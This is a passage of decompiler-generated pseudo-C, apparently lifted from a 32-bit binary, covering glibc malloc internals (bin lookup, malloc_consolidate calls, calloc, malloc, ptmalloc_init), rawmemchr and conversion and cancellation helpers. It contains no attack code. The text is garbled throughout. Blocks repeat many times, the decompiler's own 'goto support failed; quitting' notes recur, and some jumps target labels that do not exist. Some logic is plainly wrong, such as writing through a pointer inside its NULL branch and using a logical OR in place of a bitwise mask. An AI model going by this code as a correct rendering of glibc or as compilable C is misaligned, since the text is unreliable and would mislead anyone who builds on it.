= v304; if (v304 >= 16) { v63 = (int32_t *)16; // 0x80b4224 v47 = (int32_t)v63 / 8 - 2; g97 = v47; v13 = (int32_t *)(v303 + 8 + 4 * v47); v37 = *v13; g98 = v37; if (v37 != 0) { // 0x80b423c v48 = v37 + 8; g102 = v48; if (*(int32_t *)(v37 + 4) / 8 - 2 != v47) { // 0x80b4e5d v41 = g21; g101 = v41; v51 = v41 & 5; g95 = v51; if (v51 == 5) { // 0x80b4f8b v53 = v41 & 2; g101 = v53; __libc_message((int32_t *)v53, (struct struct_59 *)"%s\n"); // branch -> 0x80b4253 } else { // 0x80b4e74 if (v41 == 1) { // 0x80b4e80 // branch -> 0x80b47cf // 0x80b47cf abort(); // UNREACHABLE } // 0x80b4f35 v12 = (int32_t)g2; v28 = _itoa_word(v48, v12, 16, v12, v1); g97 = v28; if (g95 < v28) { // 0x80b4f53 v33 = -v28; v34 = -1 - g96; g97 = -1 - (v34 < v33 ? v33 : v34); // branch -> 0x80b4f5e } // 0x80b4f5e if (*(int32_t *)g93 == 0) { // 0x80b4f69 // branch -> 0x80b4f6e } // 0x80b4f6e v52 = g101 & 2; g101 = v52; __libc_message((int32_t *)v52, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b4253 // 0x80b4253 *v13 = *(int32_t *)(g98 + 8); v38 = g69; g95 = v38; if (v38 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4253 *v13 = *(int32_t *)(g98 + 8); v38 = g69; g95 = v38; if (v38 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4253 *v13 = *(int32_t *)(g98 + 8); v38 = g69; g95 = v38; if (v38 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v44 = v304; v64 = v63; } // 0x80b4281 v65 = (int32_t)v64; if (v64 > (int32_t *)511) { // 0x80b42f8 if (v64 > (int32_t *)2111) { // 0x80b44a0 if (v64 > (int32_t *)0x29ff) { // 0x80b477b if (v64 < (int32_t *)0xb000) { // 0x80b480a // branch -> 0x80b430d } else { // 0x80b478a if (v64 > (int32_t *)0x27fff) { // 0x80b4a4b if (v64 < (int32_t *)0xc0000) { // 0x80b4a72 v69 = v65 / 0x40000 + 124; // branch -> 0x80b430d } else { v69 = 126; } } else { // 0x80b4799 v69 = v65 / 0x8000 + 119; // branch -> 0x80b430d } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v69; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 0x1000 + 110; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 512 + 91; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 64 + 56; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b428a v66 = v65 / 8; v54 = (int32_t)a1; v6 = v54 + 56; v14 = (int32_t *)v6; v67 = v54 + 48 + 8 * v66; v26 = v67; v55 = *(int32_t *)(v67 + 12); v27 = v55; if (v67 == v55) { // 0x80b47d4 v58 = v54; v45 = v6; v68 = v66; v60 = v14; // branch -> 0x80b4323 } else { // 0x80b42ab if (v55 == 0) { // 0x80b4a38 g95 = v54; malloc_consolidate(v1, v29); v58 = v54; // branch -> 0x80b4323 // 0x80b4323 v57 = (int32_t)v14; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v6; v30 = v29; v24 = v3; v36 = v66; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b42b3 v25 = *(int32_t *)(v55 + 12); v15 = (int32_t *)(v65 + 4 + v55); *v15 = *v15 | 1; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; if (a1 != (char *)0x8139c40) { // 0x80b42cd v16 = (int32_t *)(v27 + 4); *v16 = *v16 | 4; // branch -> 0x80b42d1 } // 0x80b42d1 v49 = v27 + 8; v39 = g69; g95 = v39; if (v39 == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } else { v35 = v49; v43 = v39; } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v68; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } } else { v44 = v304; v64 = (int32_t *)16; } // 0x80b4281 v65 = (int32_t)v64; if (v64 > (int32_t *)511) { // 0x80b42f8 if (v64 > (int32_t *)2111) { // 0x80b44a0 if (v64 > (int32_t *)0x29ff) { // 0x80b477b if (v64 < (int32_t *)0xb000) { // 0x80b480a // branch -> 0x80b430d } else { // 0x80b478a if (v64 > (int32_t *)0x27fff) { // 0x80b4a4b if (v64 < (int32_t *)0xc0000) { // 0x80b4a72 v69 = v65 / 0x40000 + 124; // branch -> 0x80b430d } else { v69 = 126; } } else { // 0x80b4799 v69 = v65 / 0x8000 + 119; // branch -> 0x80b430d } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v69; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 0x1000 + 110; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 512 + 91; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 64 + 56; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b428a v54 = (int32_t)a1; v67 = v54 + 48 + 8 * v65 / 8; v26 = v67; v55 = *(int32_t *)(v67 + 12); v27 = v55; if (v67 == v55) { // 0x80b47d4 // branch -> 0x80b4323 } else { // 0x80b42ab if (v55 == 0) { // 0x80b4a38 g95 = v54; malloc_consolidate(v1, v29); // branch -> 0x80b4323 // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b42b3 v25 = *(int32_t *)(v55 + 12); v15 = (int32_t *)(v65 + 4 + v55); *v15 = *v15 | 1; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; if (a1 != (char *)0x8139c40) { // 0x80b42cd v16 = (int32_t *)(v27 + 4); *v16 = *v16 | 4; // branch -> 0x80b42d1 } // 0x80b42d1 v39 = g69; g95 = v39; if (v39 == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4281 v65 = (int32_t)v64; if (v64 > (int32_t *)511) { // 0x80b42f8 if (v64 > (int32_t *)2111) { // 0x80b44a0 if (v64 > (int32_t *)0x29ff) { // 0x80b477b if (v64 < (int32_t *)0xb000) { // 0x80b480a // branch -> 0x80b430d } else { // 0x80b478a if (v64 > (int32_t *)0x27fff) { // 0x80b4a4b if (v64 < (int32_t *)0xc0000) { // 0x80b4a72 // branch -> 0x80b430d } } // 0x80b430d v50 = v44 % 2; g101 = v50; if (v50 == 0) { // 0x80b4761 g95 = (int32_t)a1; malloc_consolidate(v1, v29); // branch -> 0x80b4323 } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b430d v50 = v44 % 2; g101 = v50; if (v50 == 0) { // 0x80b4761 g95 = (int32_t)a1; malloc_consolidate(v1, v29); // branch -> 0x80b4323 } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b430d v50 = v44 % 2; g101 = v50; if (v50 == 0) { // 0x80b4761 g95 = (int32_t)a1; malloc_consolidate(v1, v29); // branch -> 0x80b4323 } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b430d v50 = v44 % 2; g101 = v50; if (v50 == 0) { // 0x80b4761 g95 = (int32_t)a1; malloc_consolidate(v1, v29); // branch -> 0x80b4323 } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b428a v54 = (int32_t)a1; v67 = v54 + 48 + 8 * v65 / 8; v26 = v67; v55 = *(int32_t *)(v67 + 12); if (v67 == v55) { // 0x80b47d4 // branch -> 0x80b4323 } else { // 0x80b42ab if (v55 == 0) { // 0x80b4a38 g95 = v54; malloc_consolidate(v1, v29); // branch -> 0x80b4323 // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b42b3 v25 = *(int32_t *)(v55 + 12); v15 = (int32_t *)(v65 + 4 + v55); *v15 = *v15 | 1; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; if (a1 != (char *)0x8139c40) { // 0x80b42cd v16 = (int32_t *)(v55 + 4); *v16 = *v16 | 4; // branch -> 0x80b42d1 } // 0x80b42d1 v39 = g69; g95 = v39; if (v39 == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Address range: 0x80b57e0 - 0x80b5869 int32_t __libc_calloc(struct struct_120 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t v1 = (int32_t)a1; // 0x80b57e9 g98 = v1; int32_t v2 = v1 * a2; // 0x80b57f7 g102 = v2; int32_t v3; // 0x80b5851 int32_t v4; // 0x80b5852 if (a1 == NULL) { // if_80b5834_3_true a1->e0 = 1; v3 = g102; v4 = g98; // branch -> after_if_80b5834_3 } else { // if_80b5834_3_false v3 = v2; v4 = v1; // branch -> after_if_80b5834_3 } int32_t v5 = *(int32_t *)(v4 + 48); // 0x80b5842 g101 = *(int32_t *)(v5 + 4) & -8; g101 = _int_malloc((char *)v4, (int32_t *)v3, v5); int32_t * v6 = (int32_t *)g98; // 0x80b5866_0 *v6 = *v6 - 1; return g95; } // Address range: 0x80b5a90 - 0x80b5aab int32_t __libc_malloc(int32_t * a1, int32_t a2, int32_t a3) { int32_t v1 = (int32_t)a1; // 0x80b5a95 g101 = v1; malloc_hook_ini(v1); g97 = g95; g98 = v1; int32_t v2; g101 = v2; return g95; } // Address range: 0x80b6b94 - 0x80b6c5d int32_t ptmalloc_init(void) { int32_t v1 = g102; // 0x80b6b97 g102 = g19; if (g19 >= 0) { // 0x80b6ba7 g102 = v1; return g95; } // 0x80b6bb0 g19 = 0; g71 = 0x20000; g74 = 0x10000; g72 = 0x20000; g70 = 0x20000; g76 = getpagesize(); g80 = 0; g83 = 0x8139c40; g68 = 0; __register_atfork(); int32_t result = g4 & -0x776f00 | 0x776e00; // 0x80b6c55 g95 = result; return result; } // Address range: 0x80b7200 - 0x80b721b int32_t malloc_hook_ini(int32_t a1) { int32_t v1 = g98; // 0x80b7203 g98 = a1; g20 = 0; ptmalloc_init(); int32_t v2 = g98; // 0x80b7216 g98 = v1; __libc_malloc(NULL, v2, 0); return g97; } // Address range: 0x80b81ac - 0x80b88bf int32_t * __default_morecore(int32_t * increment) { int32_t * result = sbrk(increment); // 0x80b81b2 g97 = (int32_t)increment; if (result == (int32_t *)-1) { // 0x80b81bf return NULL; } // 0x80b81bd return result; } // Address range: 0x80b8bd0 - 0x80b8e0f int32_t rawmemchr(struct struct_138 * a1, int32_t a2) { uint32_t v1 = 256 * a2 & 0xff00 | a2 & -0xff01; // 0x80b8bd9 int32_t v2 = v1 % 0x10000 | 0x10000 * v1; // 0x80b8be0 int32_t v3 = (int32_t)a1; // 0x80b8be3 struct struct_138 * v4 = (struct struct_138 *)3; struct struct_138 * v5; // 0x80b8c95_14 struct struct_138 * v6; // 0x1654 struct struct_138 * v7; int32_t v8; // 0x80b8c85 int32_t v9; // 0x80b8c1750 int32_t v10; // 0x80b8c1755 int32_t v11; // 0x80b8c62 if (a1 != (struct struct_138 *)3) { // 0x80b8be7 if ((int32_t)a1->e0 == v2) { // 0x80b8c94 return (int32_t)a1; } int32_t v12 = v3 + 1; // 0x80b8bef struct struct_138 * v13 = (struct struct_138 *)v12; // 0x80b8bef_2 if (v12 == 3) { v4 = v13; // 0x80b8c10 v9 = *(int32_t *)v4 ^ v2; if (v9 > 0x1010100) { v10 = v9; v6 = v4; while (true) { // 0x80b8c1d if ((v9 - 0x1010101 ^ v10 || -0x1010101) == -1) { goto lab_0x2b4b9760; } // 0x80b8c81 v11 = v10; v7 = v6; // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } } // 0x80b8c81 v11 = v9; v7 = v4; // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } // 0x80b8bf4 if ((int32_t)v13->e0 == v2) { // 0x80b8c94 return (int32_t)v13; } int32_t v14 = v3 + 2; // 0x80b8bfc struct struct_138 * v15 = (struct struct_138 *)v14; // 0x80b8bfc_2 if (v14 != 3) { // 0x80b8c01 if ((int32_t)v15->e0 == v2) { // 0x80b8c94 return (int32_t)v15; } // 0x80b8c09 v4 = (struct struct_138 *)(v3 + 3); // branch -> 0x80b8c10 } else { v4 = v15; } // 0x80b8c10 v9 = *(int32_t *)v4 ^ v2; int32_t v16 = v9; v7 = v4; if (v9 > 0x1010100) { int32_t v17 = v9 - 0x1010101; // 0x80b8c1956 v10 = v9; v6 = v4; struct struct_138 * v18; // 0x80b8c73_3 int32_t v19; // 0x80b8c17 while (true) { // 0x80b8c1d if ((v17 ^ v10 || -0x1010101) == -1) { lab_0x2b4b9760:; int32_t v20 = v6->e1 ^ v2; // 0x80b8c30 if (v20 > 0x1010100) { // 0x80b8c36 if ((v20 - 0x1010101 ^ v20 || -0x1010101) == -1) { int32_t v21 = v6->e2 ^ v2; // 0x80b8c49 if (v21 > 0x1010100) { // 0x80b8c4f if ((v21 - 0x1010101 ^ v21 || -0x1010101) == -1) { // 0x80b8c5a v11 = v6->e3 ^ v2; if (v11 > 0x1010100) { // 0x80b8c68 if ((v11 - 0x1010101 ^ v11 || -0x1010101) == -1) { int32_t v22 = (int32_t)v6 + 16; // 0x80b8c73 v18 = (struct struct_138 *)v22; v19 = *(int32_t *)v22 ^ v2; if (v19 <= 0x1010100) { // break -> 0x80b8c10 break; } v17 = v19 - 0x1010101; v10 = v19; v6 = v18; // continue -> 0x80b8c1d continue; } } struct struct_138 * v23 = (struct struct_138 *)((int32_t)v6 + 4); // 0x80b8c95_18 // branch -> 0x80b8c7b struct struct_138 * v24 = (struct struct_138 *)((int32_t)v23 + 4); // 0x80b8c95_17 // branch -> 0x80b8c7e v7 = (struct struct_138 *)((int32_t)v24 + 4); // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } } // 0x80b8c7b // branch -> 0x80b8c7b struct struct_138 * v25 = (struct struct_138 *)((int32_t)v6 + 4); // 0x80b8c7b_3 // branch -> 0x80b8c7e // 0x80b8c7e v11 = v21; v7 = (struct struct_138 *)((int32_t)v25 + 4); // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } } // 0x80b8c7e // branch -> 0x80b8c7e // 0x80b8c7e v11 = v20; v7 = (struct struct_138 *)((int32_t)v6 + 4); // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } } // 0x80b8c10 v16 = v19; v7 = v18; // branch -> 0x80b8c81 } // 0x80b8c81 v11 = v16; // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } // 0x80b8c10 v9 = *(int32_t *)v4 ^ v2; if (v9 > 0x1010100) { v10 = v9; v6 = v4; while (true) { // 0x80b8c1d if ((v9 - 0x1010101 ^ v10 || -0x1010101) == -1) { goto lab_0x2b4b9760; } // 0x80b8c81 v11 = v10; v7 = v6; // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v7; } // 0x80b8c85 v8 = (int32_t)v7; if (0x10000 * v11 < 0x1000000) { // 0x80b8c94 return (int32_t)(struct struct_138 *)(v8 + 1); } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 v5 = (struct struct_138 *)(v8 + 3); // branch -> 0x80b8c94 } else { v5 = (struct struct_138 *)(v8 + 2); } // 0x80b8c94 return (int32_t)v5; } } // 0x80b8c81 v11 = v9; // branch -> 0x80b8c81 // 0x80b8c81 if (0x1000000 * v11 == 0) { // 0x80b8c94 return (int32_t)v4; } // 0x80b8c85 if (0x10000 * v11 < 0x1000000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b8c8a if ((v11 & 0xff0000) != 0) { // 0x80b8c93 // branch -> 0x80b8c94 } // Detected a possible infinite recursion (goto support failed); quitting... } // Address range: 0x80b913c - 0x80b9206 int32_t __wcsmbs_named_conv(int32_t a1, int32_t a2) { int32_t v1 = g100; // 0x80b913c int32_t * v2 = (int32_t *)g102; // 0x80b913f_0 int32_t v3 = g101; // 0x80b9140 int32_t v4 = g98; // 0x80b9141 g95 = 0x810a3b3; int32_t v5 = (int32_t)g2; // 0x80b9157 int32_t v6; int32_t v7; __gconv_find_transform(v6, v5, v7); g95 = 0; *(int32_t *)g98 = 0; int32_t * v8 = v2; if (g95 != 0) { // 0x80b9168 g97 = 0x810a3b3; g95 = g101; __gconv_find_transform(v6, v5, v6); g95 = 0; *(int32_t *)(g98 + 8) = 0; if (g95 == 0) { // 0x80b91fc __gconv_close_transform(v1, 0, a1, a2); v8 = (int32_t *)0x80b9206; // branch -> 0x80b9187 } else { v8 = v2; } } // 0x80b9187 if (*(int32_t *)g98 == 0 || *(int32_t *)(g98 + 8) == 0) { // 0x80b91d8 g98 = v4; g101 = v3; g102 = (int32_t)v8; g100 = v1; return 1; } // 0x80b9194 g98 = v4; g101 = v3; g102 = (int32_t)v8; g100 = v1; return 0; } // Address range: 0x80bae9c - 0x80baec4 int32_t vsyslog(int32_t a1, int32_t a2, int32_t a3, int32_t a4) { // 0x80bae9c g98 = a1; g95 = -24; return -24; } // Address range: 0x80bbc2c - 0x80bbc8e int32_t __libc_enable_asynccancel(int32_t a1, int32_t a2) { int32_t v1 = g100; // 0x80bbc2c int32_t result = g96; // 0x80bbc36 if ((result & 8) == 0) { // 0x80bbc40 g95 = result; // branch -> 0x80bbc51 } else { // 0x80bbc59 if ((result & 17) == 0) { // 0x80bbc5e __pthread_unwind(v1); return g95; } } // 0x80bbc51 g100 = v1; return result; } // Address range: 0x80bbc90 - 0x80bbcc3 int32_t __libc_disable_asynccancel(int32_t a1, int32_t a2) { // 0x80bbc90 if ((g95 & 2) == 0) { int32_t v1 = g96 & -256 | 1; // 0x80bbcb5 if (g96 != (g96 & -3)) { while (v1 == 1 && g96 != (g96 & -3)) { // 0x80bbca8 // continue -> 0x80bbca8 } // 0x80bbcbf 